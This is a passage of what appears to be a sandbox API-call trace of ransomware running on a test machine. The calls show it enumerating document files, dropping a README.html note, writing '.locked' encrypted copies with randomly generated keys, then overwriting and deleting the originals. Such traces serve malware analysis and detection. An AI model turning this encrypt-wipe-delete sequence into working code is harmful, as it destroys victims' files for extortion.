	[0072.851] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x126f4000*, nNumberOfCharsToWrite=0x54, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x126f4000*, lpNumberOfCharsWritten=0x127ee83c*=0x54) returned 1
	[0072.853] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\WloOH6tcGBIwPp.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\wlooh6tcgbiwpp.odt")) returned 1
	[0072.870] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.871] SetEvent (hEvent=0xa8) returned 1
	[0072.871] SetEvent (hEvent=0xb4) returned 1
	[0072.875] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.875] SetEvent (hEvent=0xb4) returned 1
	[0072.876] SetEvent (hEvent=0x8c) returned 1
	[0072.876] SetEvent (hEvent=0x80) returned 1
	[0072.876] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.876] SetEvent (hEvent=0x80) returned 1
	[0072.877] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.878] SetEvent (hEvent=0x80) returned 1
	[0072.878] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.878] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.878] SetEvent (hEvent=0x80) returned 1
	[0072.878] SetEvent (hEvent=0x8c) returned 1
	[0072.878] SetEvent (hEvent=0xb4) returned 1
	[0072.879] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.879] SetEvent (hEvent=0xb4) returned 1
	[0072.879] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\WloOH6tcGBIwPp.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\wlooh6tcgbiwpp.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.880] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0072.880] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0072.914] CloseHandle (hObject=0xc0) returned 1
	[0072.922] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\WloOH6tcGBIwPp.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\wlooh6tcgbiwpp.odt")) returned 1
	[0072.931] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1082f260, ftCreationTime.dwHighDateTime=0x1d4d401, ftLastAccessTime.dwLowDateTime=0x7eef6a60, ftLastAccessTime.dwHighDateTime=0x1d4d570, ftLastWriteTime.dwLowDateTime=0x7eef6a60, ftLastWriteTime.dwHighDateTime=0x1d4d570, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0072.931] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0072.931] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1082f260, ftCreationTime.dwHighDateTime=0x1d4d401, ftLastAccessTime.dwLowDateTime=0x7eef6a60, ftLastAccessTime.dwHighDateTime=0x1d4d570, ftLastWriteTime.dwLowDateTime=0x7eef6a60, ftLastWriteTime.dwHighDateTime=0x1d4d570, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0072.931] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1082f260, ftCreationTime.dwHighDateTime=0x1d4d401, ftLastAccessTime.dwLowDateTime=0x7eef6a60, ftLastAccessTime.dwHighDateTime=0x1d4d570, ftLastWriteTime.dwLowDateTime=0x7eef6a60, ftLastWriteTime.dwHighDateTime=0x1d4d570, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.932] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x268aa7a0, ftCreationTime.dwHighDateTime=0x1d4d04c, ftLastAccessTime.dwLowDateTime=0x3a221c0, ftLastAccessTime.dwHighDateTime=0x1d4d4a0, ftLastWriteTime.dwLowDateTime=0x3a221c0, ftLastWriteTime.dwHighDateTime=0x1d4d4a0, nFileSizeHigh=0x0, nFileSizeLow=0x505c, dwReserved0=0x0, dwReserved1=0x0, cFileName="7pXJpJe.odt", cAlternateFileName="")) returned 1
	[0072.932] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2096d680, ftCreationTime.dwHighDateTime=0x1d4cc3b, ftLastAccessTime.dwLowDateTime=0x104abec0, ftLastAccessTime.dwHighDateTime=0x1d4d269, ftLastWriteTime.dwLowDateTime=0x104abec0, ftLastWriteTime.dwHighDateTime=0x1d4d269, nFileSizeHigh=0x0, nFileSizeLow=0x6930, dwReserved0=0x0, dwReserved1=0x0, cFileName="GFEs.pps", cAlternateFileName="")) returned 1
	[0072.932] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a2704c0, ftCreationTime.dwHighDateTime=0x1d4c5c4, ftLastAccessTime.dwLowDateTime=0xae8bd2a0, ftLastAccessTime.dwHighDateTime=0x1d4cfbb, ftLastWriteTime.dwLowDateTime=0xae8bd2a0, ftLastWriteTime.dwHighDateTime=0x1d4cfbb, nFileSizeHigh=0x0, nFileSizeLow=0x148f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HgLIrd6VHrvR8L57n3u.pptx", cAlternateFileName="HGLIRD~1.PPT")) returned 1
	[0072.932] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa48d7040, ftCreationTime.dwHighDateTime=0x1d4c83d, ftLastAccessTime.dwLowDateTime=0x2f8a5030, ftLastAccessTime.dwHighDateTime=0x1d4cafc, ftLastWriteTime.dwLowDateTime=0x2f8a5030, ftLastWriteTime.dwHighDateTime=0x1d4cafc, nFileSizeHigh=0x0, nFileSizeLow=0x12ee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="XdnIlhat.pptx", cAlternateFileName="XDNILH~1.PPT")) returned 1
	[0072.932] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0072.932] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0072.932] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.932] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeccc | out: lpMode=0x127eeccc) returned 0
	[0072.932] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eecbc, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eecbc*=0xc5a, lpOverlapped=0x0) returned 1
	[0072.933] CloseHandle (hObject=0xc0) returned 1
	[0072.934] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12508000*, nNumberOfCharsToWrite=0x69, lpNumberOfCharsWritten=0x127ee84c, lpReserved=0x0 | out: lpBuffer=0x12508000*, lpNumberOfCharsWritten=0x127ee84c*=0x69) returned 1
	[0072.935] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\7pXJpJe.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\7pxjpje.odt"), fInfoLevelId=0x0, lpFileInformation=0x123fc378 | out: lpFileInformation=0x123fc378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x268aa7a0, ftCreationTime.dwHighDateTime=0x1d4d04c, ftLastAccessTime.dwLowDateTime=0x3a221c0, ftLastAccessTime.dwHighDateTime=0x1d4d4a0, ftLastWriteTime.dwLowDateTime=0x3a221c0, ftLastWriteTime.dwHighDateTime=0x1d4d4a0, nFileSizeHigh=0x0, nFileSizeLow=0x505c)) returned 1
	[0072.935] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\7pXJpJe.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\7pxjpje.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.935] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0072.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\7pXJpJe.odt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\7pxjpje.odt.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0072.936] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0072.936] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3c0 | out: pbBuffer=0x1238c3c0) returned 1
	[0072.936] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796350 | out: pbBuffer=0x12796350) returned 1
	[0072.936] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0072.936] WriteFile (in: hFile=0xc4, lpBuffer=0x123e7000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x123e7000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0072.939] SetEvent (hEvent=0x8c) returned 1
	[0072.939] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x505c, lpOverlapped=0x0) returned 1
	[0072.940] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x505c, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x505c, lpOverlapped=0x0) returned 1
	[0072.940] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0072.940] CloseHandle (hObject=0xc4) returned 1
	[0072.941] CloseHandle (hObject=0xc0) returned 1
	[0072.942] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.942] SetEvent (hEvent=0x8c) returned 1
	[0072.942] SetEvent (hEvent=0xb4) returned 1
	[0072.942] SetEvent (hEvent=0x80) returned 1
	[0072.942] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.943] SetEvent (hEvent=0x80) returned 1
	[0072.943] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12408000*, nNumberOfCharsToWrite=0x5f, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x12408000*, lpNumberOfCharsWritten=0x127ee7d8*=0x5f) returned 1
	[0072.946] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\7pXJpJe.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\7pxjpje.odt")) returned 1
	[0072.965] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.965] SetEvent (hEvent=0xa8) returned 1
	[0072.965] SetEvent (hEvent=0xb4) returned 1
	[0072.970] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.970] SetEvent (hEvent=0xb4) returned 1
	[0072.970] SetEvent (hEvent=0x80) returned 1
	[0072.970] SetEvent (hEvent=0x8c) returned 1
	[0072.970] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.970] SetEvent (hEvent=0x8c) returned 1
	[0072.972] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.972] SetEvent (hEvent=0x8c) returned 1
	[0072.973] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.973] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.973] SetEvent (hEvent=0x8c) returned 1
	[0072.973] SetEvent (hEvent=0x80) returned 1
	[0072.973] SetEvent (hEvent=0xb4) returned 1
	[0072.973] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.973] SetEvent (hEvent=0xb4) returned 1
	[0072.973] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\7pXJpJe.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\7pxjpje.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.974] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0072.975] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0072.990] CloseHandle (hObject=0xc0) returned 1
	[0073.001] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\7pXJpJe.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\7pxjpje.odt")) returned 1
	[0073.010] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\GFEs.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\gfes.pps"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2096d680, ftCreationTime.dwHighDateTime=0x1d4cc3b, ftLastAccessTime.dwLowDateTime=0x104abec0, ftLastAccessTime.dwHighDateTime=0x1d4d269, ftLastWriteTime.dwLowDateTime=0x104abec0, ftLastWriteTime.dwHighDateTime=0x1d4d269, nFileSizeHigh=0x0, nFileSizeLow=0x6930)) returned 1
	[0073.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\GFEs.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\gfes.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.010] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0073.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\GFEs.pps.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\gfes.pps.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0073.011] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0073.011] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c340 | out: pbBuffer=0x1238c340) returned 1
	[0073.011] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796220 | out: pbBuffer=0x12796220) returned 1
	[0073.011] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0073.011] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0073.013] SetEvent (hEvent=0x80) returned 1
	[0073.013] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x6930, lpOverlapped=0x0) returned 1
	[0073.015] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x6930, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x6930, lpOverlapped=0x0) returned 1
	[0073.015] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0073.015] CloseHandle (hObject=0xc4) returned 1
	[0073.017] CloseHandle (hObject=0xc0) returned 1
	[0073.017] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12414000*, nNumberOfCharsToWrite=0x5c, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x12414000*, lpNumberOfCharsWritten=0x127ee7d8*=0x5c) returned 1
	[0073.019] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.020] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\GFEs.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\gfes.pps")) returned 1
	[0073.038] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.038] SetEvent (hEvent=0xa8) returned 1
	[0073.039] SetEvent (hEvent=0x80) returned 1
	[0073.043] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.043] SetEvent (hEvent=0x80) returned 1
	[0073.043] SetEvent (hEvent=0x78) returned 1
	[0073.043] SetEvent (hEvent=0x8c) returned 1
	[0073.043] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.044] SetEvent (hEvent=0x8c) returned 1
	[0073.045] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.046] SetEvent (hEvent=0x8c) returned 1
	[0073.046] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.046] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.046] SetEvent (hEvent=0x8c) returned 1
	[0073.046] SetEvent (hEvent=0x78) returned 1
	[0073.046] SetEvent (hEvent=0x80) returned 1
	[0073.046] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.047] SetEvent (hEvent=0x80) returned 1
	[0073.047] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\GFEs.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\gfes.pps"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.047] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0073.048] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0073.063] CloseHandle (hObject=0xc0) returned 1
	[0073.071] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\GFEs.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\gfes.pps")) returned 1
	[0073.080] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\HgLIrd6VHrvR8L57n3u.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\hglird6vhrvr8l57n3u.pptx"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a2704c0, ftCreationTime.dwHighDateTime=0x1d4c5c4, ftLastAccessTime.dwLowDateTime=0xae8bd2a0, ftLastAccessTime.dwHighDateTime=0x1d4cfbb, ftLastWriteTime.dwLowDateTime=0xae8bd2a0, ftLastWriteTime.dwHighDateTime=0x1d4cfbb, nFileSizeHigh=0x0, nFileSizeLow=0x148f8)) returned 1
	[0073.080] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\HgLIrd6VHrvR8L57n3u.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\hglird6vhrvr8l57n3u.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.080] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0073.081] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\HgLIrd6VHrvR8L57n3u.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\hglird6vhrvr8l57n3u.pptx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0073.081] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0073.081] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c340 | out: pbBuffer=0x1238c340) returned 1
	[0073.081] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0073.081] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0073.082] WriteFile (in: hFile=0xc4, lpBuffer=0x1240f000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1240f000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0073.084] SetEvent (hEvent=0x78) returned 1
	[0073.084] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x148f8, lpOverlapped=0x0) returned 1
